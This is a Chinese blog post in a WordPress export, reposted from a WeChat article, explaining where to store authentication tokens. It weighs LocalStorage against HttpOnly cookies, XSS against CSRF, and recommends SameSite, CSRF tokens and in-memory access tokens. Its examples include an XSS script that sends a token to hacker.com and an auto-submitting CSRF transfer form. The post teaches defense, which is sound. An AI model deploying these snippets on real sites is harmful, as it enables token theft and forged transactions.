{"id":20227,"date":"2026-02-05T10:39:34","date_gmt":"2026-02-05T02:39:34","guid":{"rendered":"https:\/\/92it.top\/?p=20227"},"modified":"2026-02-05T10:39:34","modified_gmt":"2026-02-05T02:39:34","slug":"token-%e6%94%be%e5%9c%a8-localstorage-%e9%87%8c%e4%bc%9a%e8%a2%ab-xss%ef%bc%8c%e9%82%a3%e6%94%be%e5%9c%a8-cookie-%e9%87%8c%e5%b0%b1%e7%9c%9f%e7%9a%84%e5%ae%89%e5%85%a8%e5%90%97%ef%bc%9f","status":"publish","type":"post","link":"https:\/\/92it.top\/?p=20227","title":{"rendered":"Token \u653e\u5728 LocalStorage \u91cc\u4f1a\u88ab XSS\uff0c\u90a3\u653e\u5728 Cookie \u91cc\u5c31\u771f\u7684\u5b89\u5168\u5417\uff1f"},"content":{"rendered":"\n<p>\u8f6c\u8f7d\uff1a<a href=\"https:\/\/mp.weixin.qq.com\/s?__biz=MzIyNjM0MzQyNg==&amp;mid=2247506289&amp;idx=1&amp;sn=8df49b82e1a367e7c2c42689daad581b&amp;chksm=e92c03d0bf72fc760b3809852287666702d2a7cff84de7a70c53dbdad1594895965196a1cc59&amp;mpshare=1&amp;scene=1&amp;srcid=0205F0GcgGIwWea1eQHRBwJH&amp;sharer_shareinfo=1a0472579a5214ed969b0e7207acb15d&amp;sharer_shareinfo_first=1a0472579a5214ed969b0e7207acb15d&amp;exportkey=n_ChQIAhIQNhoIC%2F1sIw%2FuyosJq%2FSWkBL0AQIE97dBBAEAAAAAAFjcBxIy7M0AAAAOpnltbLcz9gKNyK89dVj0TY5jmLdWX1ldqJxp3yztq83jhe4Dwp3XebKYAjSG%2BFFQF8zA1COK%2ByTu7mNsFDtCIsbmpJDhJXIAdKrVB1%2BUL4qKvvG3DY4S%2B%2BEJ8rl2%2FDZsZYb1Hq94TBVTu6GCNJ2fYCG5ikoqAQffNFFmW3KUbZAnJehTwFDNkIzZS%2B8lCyQwyMlHjI2Wye4UoahHEGbqe9d63B4wadQiF2PV7dzaEgToy60B6rPvLFpK3aRfx4WLQXyEiizB0GN%2BOJW1ld29RUzg3JBJQ7Ev1XmxHXQ%3D&amp;acctmode=0&amp;pass_ticket=A6auAWkxeQVykP%2FiKPvOXpQWLItz374v%2BmnNRRy1F99a20vdN7Dw0wwN4zTnNM30&amp;wx_header=0#rd\">Token \u653e\u5728 LocalStorage \u91cc\u4f1a\u88ab XSS\uff0c\u90a3\u653e\u5728 Cookie \u91cc\u5c31\u771f\u7684\u5b89\u5168\u5417\uff1f<\/a><\/p>\n\n\n\n<p><strong>\u524d\u8a00\ud83d\udd16<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u5728\u524d\u7aef\u5f00\u53d1\u4e2d\uff0cToken \u7684\u5b58\u50a8\u4f4d\u7f6e\u4e00\u76f4\u662f\u4e00\u4e2a\u5907\u53d7\u4e89\u8bae\u7684\u8bdd\u9898\u3002\u4e3b\u8981\u6709\u4e24\u79cd\u9009\u62e9\uff1a<\/p>\n\n\n\n<ol>\n<li><strong>LocalStorage<\/strong>\uff1a\u4f7f\u7528\u65b9\u4fbf\uff0c\u4f46\u5b58\u5728\u5b89\u5168\u9690\u60a3\u3002<\/li>\n\n\n\n<li><strong>Cookie<\/strong>\uff1a\u673a\u5236\u590d\u6742\uff0c\u4f46\u63d0\u4f9b\u4e86\u4e00\u4e9b\u5b89\u5168\u5c5e\u6027\u3002<\/li>\n<\/ol>\n\n\n\n<p>\u9762\u8bd5\u4e2d\u5e38\u95ee\u7684\u95ee\u9898\u662f\uff1a\u201cLocalStorage \u5bb9\u6613\u53d7\u5230 XSS \u653b\u51fb\uff0cCookie \u5bb9\u6613\u53d7\u5230 CSRF \u653b\u51fb\uff0c\u90a3\u4e48\u5230\u5e95\u5e94\u8be5\u5982\u4f55\u5b89\u5168\u5730\u5b58\u50a8 Token\uff1f\u201d<\/p>\n\n\n\n<p>\u3000\u3000<\/p>\n\n\n\n<p><strong>LocalStorage \u7684\u5b89\u5168\u98ce\u9669\ud83d\udd16<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u5c06 Token \u5b58\u50a8\u5728&nbsp;<code>localStorage<\/code>&nbsp;\u662f\u5e38\u89c1\u7684\u505a\u6cd5\uff0c\u56e0\u4e3a\u4f7f\u7528\u7b80\u5355\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5b58\nlocalStorage.setItem('token', 'eyJhbGciOiJIUz...');\n\n\/\/ \u53d6\nconst token = localStorage.getItem('token');\nfetch('\/api\/data', {\n    headers: { Authorization: `Bearer ${token}` }\n});<\/pre>\n\n\n\n<p>\u7136\u800c\uff0c<code>localStorage<\/code>\u00a0\u7684\u8bbe\u8ba1\u5141\u8bb8 JavaScript \u4ee3\u7801\u5b8c\u5168\u8bbf\u95ee\u3002\u8fd9\u610f\u5473\u7740\uff0c\u5982\u679c\u7f51\u7ad9\u5b58\u5728 XSS\uff08\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff09\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6ce8\u5165\u6076\u610f\u811a\u672c\u76f4\u63a5\u8bfb\u53d6 Token\u3002<\/p>\n\n\n\n<p><strong>XSS \u653b\u51fb\u793a\u4f8b\uff1a<\/strong>\u5982\u679c\u9875\u9762\u672a\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u8fc7\u6ee4\uff0c\u653b\u51fb\u8005\u53ef\u80fd\u6ce8\u5165\u4ee5\u4e0b\u811a\u672c\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;script>\n  \/\/ \u653b\u51fb\u8005\u811a\u672c\n  fetch('http:\/\/hacker.com\/steal?cookie=' + localStorage.getItem('token'));\n&lt;\/script><\/pre>\n\n\n\n<p>\u53ea\u8981\u7528\u6237\u8bbf\u95ee\u4e86\u5305\u542b\u6076\u610f\u811a\u672c\u7684\u9875\u9762\uff0cToken \u5c31\u4f1a\u88ab\u53d1\u9001\u5230\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668\u3002\u7531\u4e8e JS \u5bf9 LocalStorage \u62e5\u6709\u5b8c\u5168\u8bfb\u5199\u6743\u9650\uff0c\u4e14\u6ca1\u6709\u7c7b\u4f3c\u4e8e Cookie \u7684\u8bbf\u95ee\u63a7\u5236\u673a\u5236\uff0c\u56e0\u6b64\u8fd9\u79cd\u5b58\u50a8\u65b9\u5f0f\u5728 XSS \u9762\u524d\u975e\u5e38\u8106\u5f31\u3002<\/p>\n\n\n\n<p>\u3000\u3000<\/p>\n\n\n\n<p><strong>Cookie \u7684\u5b89\u5168\u673a\u5236\ud83d\udd16<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u5f88\u591a\u4eba\u8ba4\u4e3a Cookie \u4e0d\u5b89\u5168\uff0c\u8fd9\u901a\u5e38\u662f\u56e0\u4e3a\u914d\u7f6e\u4e0d\u5f53\u3002 Cookie \u6709\u4e00\u4e2a\u5173\u952e\u7684\u5b89\u5168\u5c5e\u6027\uff1a<strong>HttpOnly<\/strong>\u3002<\/p>\n\n\n\n<p><strong>\u5f53 Cookie \u8bbe\u7f6e\u4e86&nbsp;<code>HttpOnly<\/code>&nbsp;\u5c5e\u6027\u540e\uff1a<\/strong><\/p>\n\n\n\n<ol>\n<li><strong>\u7981\u6b62 JS \u8bfb\u53d6<\/strong>\uff1a<code>document.cookie<\/code>\u00a0\u65e0\u6cd5\u83b7\u53d6\u8be5 Cookie\u3002<\/li>\n\n\n\n<li><strong>\u81ea\u52a8\u53d1\u9001<\/strong>\uff1a\u6d4f\u89c8\u5668\u5728\u53d1\u8d77\u8bf7\u6c42\u65f6\u4f1a\u81ea\u52a8\u643a\u5e26\u8be5 Cookie\u3002<\/li>\n<\/ol>\n\n\n\n<p><strong>\u540e\u7aef\u8bbe\u7f6e HttpOnly Cookie (Go \u793a\u4f8b)\uff1a<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">http.SetCookie(w, &amp;http.Cookie{\n    Name:     \"access_token\",\n    Value:    \"eyJhbGciOiJIUz...\",\n    HttpOnly: true,  \/\/ \u7981\u6b62 JavaScript \u8bfb\u53d6\n    Secure:   true,  \/\/ \u4ec5\u901a\u8fc7 HTTPS \u4f20\u8f93\n    Path:     \"\/\",\n})<\/pre>\n\n\n\n<p>\u5728\u8fd9\u79cd\u914d\u7f6e\u4e0b\uff0c\u5373\u4f7f\u7f51\u7ad9\u5b58\u5728 XSS \u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u7684\u811a\u672c\u4e5f\u65e0\u6cd5\u8bfb\u53d6 Token\u3002\u867d\u7136\u653b\u51fb\u8005\u53ef\u80fd\u901a\u8fc7\u811a\u672c\u53d1\u8d77\u8bf7\u6c42\uff08\u56e0\u4e3a\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u5e26\u4e0a Cookie\uff09\uff0c\u4f46\u4ed6\u65e0\u6cd5\u76f4\u63a5\u83b7\u53d6 Token \u5b57\u7b26\u4e32\uff0c\u4ece\u800c\u65e0\u6cd5\u5c06\u5176\u7528\u4e8e\u5176\u4ed6\u7528\u9014\u3002<\/p>\n\n\n\n<p>\u3000\u3000<\/p>\n\n\n\n<p><strong>Cookie \u7684 CSRF \u98ce\u9669\ud83d\udd16<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u4f7f\u7528 HttpOnly Cookie \u867d\u7136\u9632\u8303\u4e86 XSS \u8bfb\u53d6 Token\uff0c\u4f46\u5f15\u5165\u4e86&nbsp;<strong>CSRF (\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020)<\/strong>&nbsp;\u98ce\u9669\u3002<\/p>\n\n\n\n<p><strong>CSRF \u653b\u51fb\u539f\u7406\uff1a<\/strong>\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u5728\u8bf7\u6c42\u4e2d\u643a\u5e26 Cookie\uff0c\u65e0\u8bba\u8be5\u8bf7\u6c42\u662f\u7531\u7528\u6237\u5728\u5f53\u524d\u7f51\u7ad9\u53d1\u8d77\u7684\uff0c\u8fd8\u662f\u7531\u7b2c\u4e09\u65b9\u6076\u610f\u7f51\u7ad9\u53d1\u8d77\u7684\u3002<\/p>\n\n\n\n<p><strong>\u573a\u666f\u6a21\u62df\uff1a<\/strong><\/p>\n\n\n\n<ol>\n<li>\u7528\u6237\u767b\u5f55\u4e86\u00a0<code>bank.com<\/code>\uff0cToken \u5b58\u50a8\u5728 Cookie \u4e2d\u3002<\/li>\n\n\n\n<li>\u7528\u6237\u8bbf\u95ee\u4e86\u6076\u610f\u7f51\u7ad9\u00a0<code>hacker.com<\/code>\u3002<\/li>\n\n\n\n<li>\u6076\u610f\u7f51\u7ad9\u5305\u542b\u4ee5\u4e0b\u4ee3\u7801\uff1a<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\n&lt;!-- \u6076\u610f\u7f51\u7ad9\u4e0a\u7684\u4ee3\u7801 -->\n&lt;form action=\"http:\/\/bank.com\/transfer\" method=\"POST\">\n    &lt;input type=\"hidden\" name=\"to\" value=\"hacker\" \/>\n    &lt;input type=\"hidden\" name=\"amount\" value=\"10000\" \/>\n&lt;\/form>\n&lt;script>document.forms[0].submit();&lt;\/script><\/pre>\n\n\n\n<ol start=\"4\">\n<li>\u6d4f\u89c8\u5668\u5411\u00a0<code>bank.com<\/code>\u00a0\u53d1\u9001\u8bf7\u6c42\u65f6\uff0c\u4f1a\u81ea\u52a8\u9644\u5e26\u7528\u6237\u7684 Cookie\u3002<\/li>\n\n\n\n<li><code>bank.com<\/code>\u00a0\u670d\u52a1\u5668\u63a5\u6536\u5230\u8bf7\u6c42\uff0c\u9a8c\u8bc1 Cookie \u6709\u6548\uff0c\u6267\u884c\u4e86\u8f6c\u8d26\u64cd\u4f5c\u3002<\/li>\n<\/ol>\n\n\n\n<p>\u8fd9\u5c31\u662f CSRF \u653b\u51fb\u7684\u6838\u5fc3\uff1a\u5229\u7528\u6d4f\u89c8\u5668\u7684\u81ea\u52a8\u643a\u5e26 Cookie \u673a\u5236\uff0c\u5192\u5145\u7528\u6237\u53d1\u8d77\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p>\u3000\u3000<\/p>\n\n\n\n<p><strong>\u6700\u4f73\u5b9e\u8df5\u65b9\u6848\ud83d\udd16<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u4e3a\u4e86\u540c\u65f6\u9632\u8303 XSS \u548c CSRF\uff0c\u53ef\u4ee5\u91c7\u53d6\u4ee5\u4e0b\u7ec4\u5408\u65b9\u6848\u3002<\/p>\n\n\n\n<p><strong>\ud83d\udd39\u65b9\u6848\u4e00\uff1aCookie (HttpOnly) + SameSite + CSRF Token<\/strong><\/p>\n\n\n\n<p>\u8fd9\u662f\u4f20\u7edf\u7684\u9632\u5fa1\u65b9\u5f0f\u3002<\/p>\n\n\n\n<ol>\n<li><strong>HttpOnly<\/strong>\uff1a\u9632\u6b62 XSS \u653b\u51fb\u8bfb\u53d6 Token\u3002<\/li>\n\n\n\n<li><strong>SameSite=Strict\/Lax<\/strong>\uff1a\u9650\u5236\u7b2c\u4e09\u65b9\u7f51\u7ad9\u53d1\u8d77\u7684\u8bf7\u6c42\u643a\u5e26 Cookie\u3002<\/li>\n\n\n\n<li><strong>CSRF Token<\/strong>\uff1a\u524d\u7aef\u5728\u8bf7\u6c42 Header \u4e2d\u643a\u5e26\u4e00\u4e2a\u81ea\u5b9a\u4e49\u7684 Token\uff08\u5982\u00a0<code>X-CSRF-Token<\/code>\uff09\u3002\u7531\u4e8e CSRF \u653b\u51fb\u65e0\u6cd5\u6784\u9020\u81ea\u5b9a\u4e49 Header\uff08\u53d7\u540c\u6e90\u7b56\u7565\u9650\u5236\uff09\uff0c\u8fd9\u63d0\u4f9b\u4e86\u989d\u5916\u7684\u4fdd\u62a4\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ Go \u8bbe\u7f6e SameSite\nhttp.SetCookie(w, &amp;http.Cookie{\n    Name:     \"token\",\n    Value:    \"...\",\n    HttpOnly: true,\n    SameSite: http.SameSiteLaxMode, \/\/ \u9650\u5236\u8de8\u7ad9\u53d1\u9001\n})<\/pre>\n\n\n\n<p>\u3000\u3000<\/p>\n\n\n\n<p><strong>\ud83d\udd39\u65b9\u6848\u4e8c\uff1aRefresh Token (Cookie) + Access Token (\u5185\u5b58)<\/strong><\/p>\n\n\n\n<p>\u8fd9\u662f\u73b0\u4ee3\u5355\u9875\u5e94\u7528\uff08SPA\uff09\u63a8\u8350\u7684\u65b9\u6848\uff1a<\/p>\n\n\n\n<ol>\n<li><strong>Refresh Token<\/strong>\u00a0\u5b58\u50a8\u5728\u00a0<strong>HttpOnly Cookie<\/strong>\u00a0\u4e2d\uff08\u8bbe\u7f6e\u8f83\u957f\u8fc7\u671f\u65f6\u95f4\uff09\u3002<\/li>\n\n\n\n<li><strong>Access Token<\/strong>\u00a0\u5b58\u50a8\u5728\u00a0<strong>\u5185\u5b58\u53d8\u91cf<\/strong>\u00a0\u4e2d\uff08JavaScript \u53d8\u91cf\uff09\u3002<\/li>\n<\/ol>\n\n\n\n<p><strong>\u5de5\u4f5c\u6d41\u7a0b\uff1a<\/strong><\/p>\n\n\n\n<ol>\n<li>\u767b\u5f55\u6210\u529f\u540e\uff0c\u540e\u7aef\u8bbe\u7f6e\u00a0<code>refresh_token<\/code>\u00a0\u5230 HttpOnly Cookie\u3002<\/li>\n\n\n\n<li>\u540e\u7aef\u8fd4\u56de\u00a0<code>access_token<\/code>\u00a0\u5728 JSON \u54cd\u5e94\u4f53\u4e2d\u3002<\/li>\n\n\n\n<li>\u524d\u7aef\u5c06\u00a0<code>access_token<\/code>\u00a0\u4fdd\u5b58\u5728\u53d8\u91cf\u4e2d\u3002<\/li>\n\n\n\n<li>\u53d1\u8d77\u8bf7\u6c42\u65f6\uff0c\u4f7f\u7528\u53d8\u91cf\u4e2d\u7684\u00a0<code>access_token<\/code>\u00a0\u8bbe\u7f6e Authorization Header\u3002<\/li>\n\n\n\n<li>\u5f53\u00a0<code>access_token<\/code>\u00a0\u8fc7\u671f\u6216\u9875\u9762\u5237\u65b0\uff08\u5bfc\u81f4\u5185\u5b58\u53d8\u91cf\u4e22\u5931\uff09\u65f6\uff0c\u524d\u7aef\u8c03\u7528\u00a0<code>\/refresh<\/code>\u00a0\u63a5\u53e3\u3002\n<ul>\n<li>\u6d4f\u89c8\u5668\u81ea\u52a8\u643a\u5e26 Cookie \u4e2d\u7684\u00a0<code>refresh_token<\/code>\u3002<\/li>\n\n\n\n<li>\u540e\u7aef\u9a8c\u8bc1\u901a\u8fc7\uff0c\u8fd4\u56de\u65b0\u7684\u00a0<code>access_token<\/code>\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p><strong>\u65b9\u6848\u4f18\u52bf\uff1a<\/strong><\/p>\n\n\n\n<ul>\n<li><strong>\u9632 XSS<\/strong>\uff1a<code>refresh_token<\/code>\u00a0\u65e0\u6cd5\u88ab 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